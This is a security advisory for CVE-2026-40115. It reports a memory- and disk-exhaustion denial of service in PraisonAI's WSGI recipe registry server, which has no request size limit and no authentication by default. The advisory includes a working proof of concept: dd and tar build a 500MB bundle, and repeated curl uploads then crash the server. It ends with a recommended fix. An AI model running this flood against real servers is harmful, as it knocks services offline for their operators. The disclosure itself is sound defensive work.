CVE-2026-40115

Description

## Summary The WSGI-based recipe registry server (`server.py`) reads the entire HTTP request body into memory based on the client-supplied `Content-Length` header with no upper bound. Combined with authentication being disabled by default (no token configured), any local process can send arbitrarily large POST requests to exhaust server memory and cause a denial of service. The Starlette-based server (`serve.py`) has `RequestSizeLimitMiddleware` with a 10MB limit, but the WSGI server lacks any equivalent protection. ## Details The vulnerable code path in `src/praisonai/praisonai/recipe/server.py`: **1. No size limit on body read (line 551-555):** ```python content_length = int(environ.get("CONTENT_LENGTH", 0)) body = environ["wsgi.input"].read(content_length) if content_length > 0 else b"" ``` The `content_length` is taken directly from the HTTP header with no maximum check. The entire body is read into a single `bytes` object in memory. **2. Second in-memory copy via multipart parsing (line 169-172):** ```python result = {"fields": {}, "files": {}} boundary_bytes = f"--{boundary}".encode() parts = body.split(boundary_bytes) ``` The `_parse_multipart` method splits the already-buffered body and stores file contents in a dict, creating additional in-memory copies. **3. Third copy to temp file (line 420-421):** ```python with tempfile.NamedTemporaryFile(suffix=".praison", delete=False) as tmp: tmp.write(bundle_content) ``` The bundle content is then written to disk and persisted in the registry, also without size checks. **4. Authentication disabled by default (line 91-94):** ```python def _check_auth(self, headers: Dict[str, str]) -> bool: if not self.token: return True # No token configured = no auth ``` The `self.token` defaults to `None` unless `PRAISONAI_REGISTRY_TOKEN` is set or `--token` is passed on the CLI. The entry point is `praisonai registry serve` (cli/features/registry.py:176), which calls `run_server()` binding to `127.0.0.1:7777` by default. In contrast, `serve.py` (the Starlette server) has `RequestSizeLimitMiddleware` at line 725-732 enforcing a 10MB default limit. The WSGI server has no equivalent. ## PoC ```bash # Start the registry server with default settings (no auth, localhost) praisonai registry serve & # Step 1: Create a large bundle (~500MB) mkdir -p /tmp/dos-test echo '{"name":"dos","version":"1.0.0"}' > /tmp/dos-test/manifest.json dd if=/dev/zero of=/tmp/dos-test/pad bs=1M count=500 tar czf /tmp/dos-bundle.praison -C /tmp/dos-test . # Step 2: Upload — server buffers ~500MB into RAM with no limit curl -X POST http://127.0.0.1:7777/v1/recipes/dos/1.0.0 \ -F 'bundle=@/tmp/dos-bundle.praison' -F 'force=true' # Step 3: Repeat to exhaust memory for v in 1.0.{1..10}; do curl -X POST http://127.0.0.1:7777/v1/recipes/dos/$v \ -F 'bundle=@/tmp/dos-bundle.praison' & done # Server process will be OOM-killed ``` ## Impact - **Memory exhaustion**: A single large request can consume all available memory, crashing the server process (and potentially other processes via OOM killer). - **Disk exhaustion**: Repeated uploads persist bundles to disk at `~/.praison/registry/` with no quota, potentially filling the filesystem. - **No authentication barrier**: Default configuration requires no token, so any local process (including via SSRF from other services on the same host) can trigger this. - **Availability impact**: The registry server becomes unavailable, blocking recipe publish/download operations. The default bind address of `127.0.0.1` limits exploitability to local attackers or SSRF scenarios. If a user binds to `0.0.0.0` (common for shared environments or containers), the attack surface extends to the network. ## Recommended Fix Add a request size limit to the WSGI application, consistent with `serve.py`'s 10MB default: ```python # In create_wsgi_app(), before reading the body: MAX_REQUEST_SIZE = 10 * 1024 * 1024 # 10MB, matching serve.py def application(environ, start_response): # ... existing code ... # Read body with size limit try: content_length = int(environ.get("CONTENT_LENGTH", 0)) except (ValueError, TypeError): content_length = 0 if content_length > MAX_REQUEST_SIZE: status = "413 Request Entity Too Large" response_headers = [("Content-Type", "application/json")] body = json.dumps({ "error": { "code": "request_too_large", "message": f"Request body too large. Max: {MAX_REQUEST_SIZE} bytes" } }).encode() start_response(status, response_headers) return [body] body = environ["wsgi.input"].read(content_length) if content_length > 0 else b"" # ... rest of handler ... ``` Additionally, consider: - Adding a `--max-request-size` CLI flag to `praisonai registry serve` - Adding per-recipe disk quota enforcement in `LocalRegistry.publish()`